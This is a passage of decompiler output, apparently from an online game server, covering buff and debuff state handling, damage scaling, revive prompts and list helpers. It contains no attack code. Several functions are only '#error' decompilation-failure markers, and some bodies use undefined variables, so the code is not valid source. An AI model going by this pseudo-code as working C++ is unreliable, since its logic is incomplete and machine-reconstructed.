(AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_611F6C + 3 * aso->aeo_Index) + 36 * aso->aeo_Strength + 8), SAA_TOTALDAMAGERATE) * *damage / 1000; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::sasa_Act_LastDamegeInterceptByAtk"); } //----- (00405980) -------------------------------------------------------- void __thiscall AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::sasa_Act_LastDamegeInterceptByDef(AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide *this, #325 *a2, AbnormalStateContainer::AbstateElementInObject *aso, int *damage) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::sasa_Act_LastDamegeInterceptByDef"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::sasa_Act_LastDamegeInterceptByDef"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *damage = AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_FindEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_611F6C + 3 * aso->aeo_Index) + 36 * aso->aeo_Strength + 8), SAA_TOTALDAMAGERATE) * *damage / 1000; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::sasa_Act_LastDamegeInterceptByDef"); } //----- (00405A50) -------------------------------------------------------- #error "405A50: undefined or illegal type '#434' (funcsize=101)" //----- (00405BB0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::SubAbnormalStateActorSelfRevive::sasa_Act_Killed(AbnormalStateContainer::SubAbnormalStateActorSelfRevive *this, #434 *a2, AbnormalStateContainer::AbstateElementInObject *aso) { AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *v3; // ecx@1 const char *v4; // eax@1 void *v5; // eax@1 void *v6; // eax@1 void (__thiscall *v7)(ServerMenuFuncter *, #434 *, ServerMenuArgument *); // ST2C_4@1 void *v8; // eax@1 char v9; // ST2C_1@1 ServerMenuArgument arg; // [sp+4h] [bp-78h]@1 unsigned int cookie; // [sp+6Ch] [bp-10h]@1 int v12; // [sp+78h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorSelfRevive::sasa_Act_Killed"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::SubAbnormalStateActorSelfRevive::sasa_Act_Killed"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_611F6C + 3 * aso->aeo_Index) + 36 * aso->aeo_Strength + 8); v12 = 0; *(_WORD *)&arg.sma_link.sml_lnkinf.index[0] = AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_FindEffect( v3, SAA_REVIVEHEALRATE); ShineScript::ss_String(&shinescriptetc, "No"); ShineScript::ss_String(&shinescriptetc, "Yes"); v4 = ShineScript::ss_String(&shinescriptmenusting, "Revive"); v5 = ShineObjectClass::ShinePlayer::sp_ServerMenuTitle((void *)a2, v4); v6 = ShineObjectClass::ShinePlayer::sp_ServerMenuItem( v5, (void (__thiscall *)(ServerMenuFuncter *, #434 *, ServerMenuArgument *))"AbnormalStateContainer::SubAbnormalStateActorSelfRevive::sasa_Act_Killed", *(const char **)&arg, *(ServerMenuArgument **)&arg.sma_link.sml_lnkinf.index[4]); v8 = ShineObjectClass::ShinePlayer::sp_ServerMenuItem( v6, v7, *(const char **)&arg, *(ServerMenuArgument **)&arg.sma_link.sml_lnkinf.index[4]); ShineObjectClass::ShinePlayer::sp_ServerMenuOpen( v8, v9, *(_WORD *)&arg, *(int *)&arg.sma_link.sml_lnkinf.index[4], *(__int16 *)&arg.sma_link.sml_lnkinf.index[8]); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorSelfRevive::sasa_Act_Killed"); __security_check_cookie(cookie); } //----- (00405CF0) -------------------------------------------------------- #error "405D85: switch analysis failed (funcsize=562)" //----- (00406850) -------------------------------------------------------- #error "406850: undefined or illegal type '#325' (funcsize=209)" //----- (00406AF0) -------------------------------------------------------- #error "406AF0: undefined or illegal type '#325' (funcsize=70)" //----- (00406C10) -------------------------------------------------------- #error "406C10: undefined or illegal type '#325' (funcsize=70)" //----- (00406D30) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::ase_SetMain(AbnormalStateContainer::AbnormalStatePartyEnchant *this, AbnormalStateDictionary::AbState::AbStateStr *sklidx) { AbnormalStateContainer::AbnormalStatePartyEnchant *v2; // esi@1 AbnormalStateDictionary::AbState::AbStateStr *v3; // eax@1 int v4; // eax@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStatePartyEnchant::ase_SetMain"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStatePartyEnchant::ase_SetMain"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->aspe_SkillIndex[0]; v2->aspe_SklIdxMain = sklidx; if ( !v3 ) { LOBYTE(v4) = AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState(v2, 0, sklidx->index->PartyState1) && AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState(v2, 1, sklidx->index->PartyState2) && AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState(v2, 2, sklidx->index->PartyState3) && AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState(v2, 3, sklidx->index->PartyState4) && AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState(v2, 4, sklidx->index->PartyState5); v4 = (unsigned __int8)v4; if ( !(_BYTE)v4 ) { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateContainer::AbnormalStatePartyEnchant::ase_SetMain", v4); v2->aspe_SkillIndex[0] = 0; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStatePartyEnchant::ase_SetMain"); } //----- (00406E60) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_SetMain(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this, AbnormalStateDictionary::AbState::AbStateStr *sklidx) { AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *v2; // esi@1 AbnormalStateDictionary::AbState::AbStateStr *v3; // ecx@1 int v4; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_SetMain"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_SetMain"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->asgame_SkillIndex; v2->asgame_SklIdxMain = sklidx; if ( !v3 ) { v4 = (unsigned __int8)AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::asgame_FindSubState( v2, sklidx->index->PartyState1); if ( !(_BYTE)v4 ) { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_SetMain", v4); v2->asgame_SkillIndex = 0; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_SetMain"); } //----- (00406F30) -------------------------------------------------------- #error "406F30: undefined or illegal type '#740' (funcsize=66)" //----- (00407030) -------------------------------------------------------- unsigned int __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetRestTime(AbnormalStateContainer::AbstateElementInObject *this) { AbnormalStateContainer::AbstateElementInObject *v1; // esi@1 unsigned int v2; // ecx@1 unsigned int v3; // esi@2 unsigned int result; // eax@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_GetRestTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_GetRestTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->aeo_Tick.terminate; if ( clockwatch.cw_CurrTick >= v2 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_GetRestTime"); result = 0; } else { --funcallanalizer.fca_stackpoint; v3 = 1000 * (v2 - clockwatch.cw_CurrTick + 9) / 0xA; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_GetRestTime"); result = v3; } return result; } //----- (00407100) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::smo_DotDamageAppend(void *this, int aso) { void *v2; // esi@1 int v3; // eax@1 int v4; // esi@3 int result; // eax@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_DotDamageAppend"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_DotDamageAppend"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)(*((_DWORD *)&unk_611F6C + 3 * *(_DWORD *)(aso + 4)) + 36 * *(_BYTE *)(aso + 16) + 8); if ( v3 ) { switch ( *(_DWORD *)(v3 + 38) ) { case 0x16: v4 = *((_WORD *)v2 + 3543); break; case 0x21: v4 = *((_WORD *)v2 + 3541); break; case 0x22: v4 = *((_WORD *)v2 + 3542); break; case 0x53: v4 = *((_WORD *)v2 + 3540); break; case 0x54: v4 = *((_WORD *)v2 + 3544); break; default: goto LABEL_9; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_DotDamageAppend"); result = v4; } else { LABEL_9: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_DotDamageAppend"); result = 0; } return result; } //----- (00407270) -------------------------------------------------------- char __cdecl ShineObjectClass::ShinePlayer::sp_AbstateCheck(int sklidx, int a2) { signed int v2; // edi@1 char result; // al@3 int v4; // ebp@4 int v5; // esi@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AbstateCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_AbstateCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; if ( *(_DWORD *)(*(_DWORD *)(sklidx + 4) + 235) <= 1u && *(_DWORD *)(*(_DWORD *)sklidx + 58) == 2 ) { v4 = 0; v5 = sklidx + 16; do { if ( *(_DWORD *)v5 != 412 ) { ++v4; if ( (unsigned __int8)(*(int (__thiscall **)(int, _DWORD, _DWORD))(*(_DWORD *)a2 + 2564))( a2, *(_DWORD *)v5, *(_DWORD *)(v5 + 4)) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AbstateCheck"); goto LABEL_11; } } ++v2; v5 += 12; } while ( v2 < 4 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AbstateCheck"); if ( v4 ) return 0; LABEL_11: result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AbstateCheck"); result = 1; } return result; } //----- (004073B0) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineObject::so_smo_CanEnchant(int abstateidx, int strength) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_smo_CanEnchant"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_smo_CanEnchant"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_smo_CanEnchant"); return 0; } //----- (00407400) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, CardDeck::Card *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2)) != 0 ) { *(_DWORD *)v3 = ele->c_card; result = 1; } else { result = 0; } return result; } //----- (00407430) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, CardDeck::Card *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2)) != 0 ) { *(_DWORD *)v3 = ele->c_card; result = 1; } else { result = 0; } return result; } //----- (00407460) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (004074B0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, AbnormalStateContainer::AbstateElementInObject *ele) { int v2; // eax@1 void *v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2)) != 0 ) { memcpy(v3, ele, 0x74u); result = 1; } else { result = 0; } return result; } //----- (004074E0) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *), unsigned __int16 *hnd, AbnormalStateContainer::AbstateElementInObject *key) { AbnormalStateContainer::AbstateElementInObject *result; // eax@1 ListSearchSame searcher; // [sp+0h] [bp-24h]@1 int v6; // [sp+20h] [bp-4h]@1 searcher.lss_compfunc = compfunc; searcher.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListSearchSame::_vftable_; searcher.lss_lst = this; searcher.lss_key = key; searcher.lss_found.element = 0; searcher.lss_found.hnd = -1; v6 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = searcher.lss_found.element; *hnd = searcher.lss_found.hnd; return result; } // 5B32A0: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, int handle); //----- (00407550) -------------------------------------------------------- void __thiscall ListTraveler::ListTraveler(ListTraveler *this, List *lst, AbnormalStateContainer::AbstateElementInObject *def) { this->lt_Default = def; this->lt_List = lst; this->lt_CurrElement = lst->l_MaxSize; this->lt_NextElement = lst->l_Array[lst->l_Finger.store].ls_Next; } //----- (00407580) -------------------------------------------------------- #error "407580: undefined or illegal type '#325' (funcsize=29)" //----- (004075C0) -------------------------------------------------------- #error "4075C0: undefined or illegal type '#325' (funcsize=29)" //----- (00407600) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00407720) -------------------------------------------------------- #error "407720: undefined or illegal type '#434' (funcsize=53)" //----- (004077B0) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_IsPartyChant(AbnormalStateContainer::AbstateElementInObject *this) { unsigned __int16 v1; // ax@1 int v2; // ecx@2 int v3; // eax@5 char result; // al@6 v1 = LOWORD(this->aeo_Index); if ( v1 < unk_6150FC && (v2 = *(_DWORD *)(unk_615100 + 12 * v1)) != 0 && *(_DWORD *)v2 ) { if ( v1 < unk_6150FC && (v3 = *(_DWORD *)(unk_615100 + 12 * v1)) != 0 ) result = (*(int (__thiscall **)(_DWORD))(**(_DWORD **)v3 + 12))(*(_DWORD *)v3); else result = (*(int (__thiscall **)(_DWORD))(v0 + 12))(0); } else { result = 0; } return result; } //----- (00407810) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__thiscall AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet(void *this, ABSTATEINDEX stateindex) { void *v2; // esi@1 AbnormalStateContainer::AbstateElementInObject *v3; // esi@1 __int16 hnd; // [sp+0h] [bp-84h]@1 AbnormalStateContainer::AbstateElementInObject key; // [sp+4h] [bp-80h]@1 int v7; // [sp+80h] [bp-4h]@1 v2 = this; AbnormalStateContainer::AbstateElementInObject::AbstateElementInObject(&key, stateindex); v7 = 0; v3 = List::l_Search( (List *)v2 + 145, AbnormalStateContainer::AbstateElementInObject::aeo_CompName, (unsigned __int16 *)&hnd, &key); v7 = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&key.aeo_SetItemEffect); v7 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&key.aeo_Tick.nextaction); return v3; } //----- (004078B0) -------------------------------------------------------- #error "4078B0: undefined or illegal type '#740' (funcsize=48)" //----- (00407970) -------------------------------------------------------- #error "407970: undefined or illegal type '#325' (funcsize=254)" //----- (00407CF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_CureCurse(void *this, int state, signed int grade) { void *v3; // esi@1 int v4; // edx@1 unsigned __int16 v5; // bx@1 unsigned __int16 v6; // bp@3 int v7; // edx@4 int v8; // ecx@4 unsigned __int16 v9; // ax@4 bool v10; // cf@4 int v11; // edi@6 int v12; // esi@11 int v13; // ecx@15 int i; // [sp+0h] [bp-14h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_CureCurse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_CureCurse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1304))(v3); v5 = *(_WORD *)(*(_DWORD *)(v4 + 3488) + 12 * *(_WORD *)(v4 + 3494) + 4); for ( i = v4; ; v4 = i ) { v6 = *(_WORD *)(v4 + 3484); if ( v5 >= v6 ) break; v7 = *(_DWORD *)(v4 + 3488); v8 = v5; v9 = v5; v10 = v5 < v6; v5 = *(_WORD *)(v7 + 12 * v5 + 4); if ( v10 && *(_BYTE *)(v7 + 12 * v8 + 8) ) v11 = *(_DWORD *)(v7 + 12 * v8); else v11 = 0; if ( *(_DWORD *)(*(_DWORD *)(*((_DWORD *)&unk_611F6C + 3 * *(_DWORD *)(v11 + 4)) + 36 * *(_BYTE *)(v11 + 16) + 8) + 38) == state ) { if ( v9 < v6 && *(_BYTE *)(v7 + 12 * v8 + 8) ) v12 = *(_DWORD *)(v7 + 12 * v8); else v12 = 0; if ( *(_BYTE *)(**((_DWORD **)&unk_611F6C + 3 * *(_DWORD *)(v12 + 4)) + 43) <= grade ) { if ( v9 < v6 && (v13 = v7 + 12 * v8, *(_BYTE *)(v13 + 8)) ) *(_DWORD *)(*(_DWORD *)v13 + 24) = clockwatch.cw_CurrTick; else v18 = clockwatch.cw_CurrTick; } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_CureCurse"); } //----- (00407E80) -------------------------------------------------------- #error "407E80: undefined or illegal type '#325' (funcsize=363)" //----- (00408330) -------------------------------------------------------- #error "408330: undefined or illegal type '#325' (funcsize=134)" //----- (00408530) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateListInObject::asl_IsHereGood(void *this) { void *v1; // ebp@1 unsigned __int16 v2; // di@1 unsigned __int16 v3; // si@2 int v4; // ecx@3 int v5; // eax@3 bool v6; // cf@3 int v7; // eax@4 int v8; // eax@5 int v9; // eax@8 int v10; // eax@10 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateList::asl_IsHereGood"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStateList::asl_IsHereGood"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_WORD *)(*((_DWORD *)v1 + 872) + 12 * *((_WORD *)v1 + 1747) + 4); while ( 1 ) { v3 = *((_WORD *)v1 + 1742); if ( v2 >= v3 ) break; v4 = *((_DWORD *)v1 + 872); v5 = v2; v6 = v2 < v3; v2 = *(_WORD *)(v4 + 12 * v2 + 4); if ( v6 ) { v7 = v4 + 12 * v5; if ( *(_BYTE *)(v7 + 8) ) { v8 = *(_DWORD *)v7; if ( v8 ) { if ( *((_DWORD *)&unk_611F6C + 3 * *(_DWORD *)(v8 + 4)) && **((_DWORD **)&unk_611F6C + 3 * *(_DWORD *)(v8 + 4)) ) { v9 = *(_DWORD *)(**((_DWORD **)&unk_611F6C + 3 * *(_DWORD *)(v8 + 4)) + 34); if ( v9 < 412 ) { v10 = dword_615280[v9]; if ( v10 && *(_DWORD *)(*(_DWORD *)v10 + 244) == 1 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateList::asl_IsHereGood"); return 1; } } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", v9); } } } } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateList::asl_IsHereGood"); return 0; } //----- (004086C0) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateListInObject::asl_IsHereBad(void *this) { void *v1; // ebp@1 unsigned __int16 v2; // di@1 unsigned __int16 v3; // si@2 int v4; // ecx@3 int v5; // eax@3 bool v6; // cf@3 int v7; // eax@4 int v8; // eax@5 int v9; // eax@8 int v10; // eax@10 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateList::asl_IsHereBad"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStateList::asl_IsHereBad"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_WORD *)(*((_DWORD *)v1 + 872) + 12 * *((_WORD *)v1 + 1747) + 4); while ( 1 ) { v3 = *((_WORD *)v1 + 1742); if ( v2 >= v3 ) break; v4 = *((_DWORD *)v1 + 872); v5 = v2; v6 = v2 < v3; v2 = *(_WORD *)(v4 + 12 * v2 + 4); if ( v6 ) { v7 = v4 + 12 * v5; if ( *(_BYTE *)(v7 + 8) ) { v8 = *(_DWORD *)v7; if ( v8 ) { if ( *((_DWORD *)&unk_611F6C + 3 * *(_DWORD *)(v8 + 4)) && **((_DWORD **)&unk_611F6C + 3 * *(_DWORD *)(v8 + 4)) ) { v9 = *(_DWORD *)(**((_DWORD **)&unk_611F6C + 3 * *(_DWORD *)(v8 + 4)) + 34); if ( v9 < 412 ) { v10 = dword_615280[v9]; if ( v10 && *(_DWORD *)(*(_DWORD *)v10 + 244) != 1 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateList::asl_IsHereBad"); return 1; } } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", v9); } } } } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateList::asl_IsHereBad"); return 0; } //----- (00408850) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateListInObject::asl_SendAfterLogin(void *this, #434 *me) { void *v2; // edi@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 int v5; // ecx@3 int v6; // eax@3 bool v7; // cf@3 int v8; // edx@4 char v9; // al@4 int v10; // ecx@4 AbnormalStateContainer::AbstateElementInObject *v11; // ecx@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateListInObject::asl_SendAfterLogin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateListInObject::asl_SendAfterLogin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_WORD *)(*((_DWORD *)v2 + 872) + 12 * *((_WORD *)v2 + 1747) + 4); while ( 1 ) { v4 = *((_WORD *)v2 + 1742); if ( v3 >= v4 ) break; v5 = *((_DWORD *)v2 + 872); v6 = v3; v7 = v3 < v4; v3 = *(_WORD *)(v5 + 12 * v3 + 4); if ( !v7 ) break; v8 = 3 * v6; v9 = *(_BYTE *)(v5 + 12 * v6 + 8); v10 = v5 + 4 * v8; if ( !v9 ) break; v11 = *(AbnormalStateContainer::AbstateElementInObject **)v10; if ( !v11 ) break; AbnormalStateContainer::AbstateElementInObject::aeo_InformAfterLogin(v11, me); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateListInObject::asl_SendAfterLogin"); } //----- (00408940) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateListInObject::asl_Store(#740 *this, PROTO_NC_CHAR_ABSTATE_CMD *a2) { PROTO_NC_CHAR_ABSTATE_CMD *v2; // ebp@1 unsigned int v3; // edx@1 unsigned int v4; // ebx@1 int v5; // eax@1 bool v6; // zf@1 int v7; // edi@2 unsigned int v8; // edx@4 int v9; // esi@7 int v10; // esi@8 signed int v11; // ecx@9 int v12; // eax@11 unsigned int v13; // ecx@11 char *v14; // ecx@11 unsigned __int16 v15; // ax@15 int v16; // eax@16 char v17; // bl@18 unsigned int v18; // ecx@23 int v19; // eax@25 unsigned int v20; // ecx@25 char *v21; // ecx@25 AbnormalStateContainer::AbstateElementInObject *v22; // eax@25 signed int v23; // ecx@29 int v24; // esi@29 char v25; // bl@29 int v26; // eax@29 int v27; // [sp+10h] [bp-3Ch]@23 signed int i; // [sp+28h] [bp-24h]@1 void *v29; // [sp+2Ch] [bp-20h]@1 ListIteratorDefault arg; // [sp+38h] [bp-14h]@1 int v31; // [sp+3Ch] [bp-10h]@1 int v32; // [sp+48h] [bp-4h]@1 unsigned int v33; // [sp+50h] [bp+4h]@5 int starttime; // [sp+54h] [bp+8h]@0 v29 = (void *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateListInObject::asl_Store"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateListInObject::asl_Store"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = a2; v3 = a2->chrregnum; v4 = 0; v32 = 0; memcpy( (void *)(*(int (__thiscall **)(PROTO_NC_CHAR_ABSTATE_CMD *))(v3 + 1164))(a2), 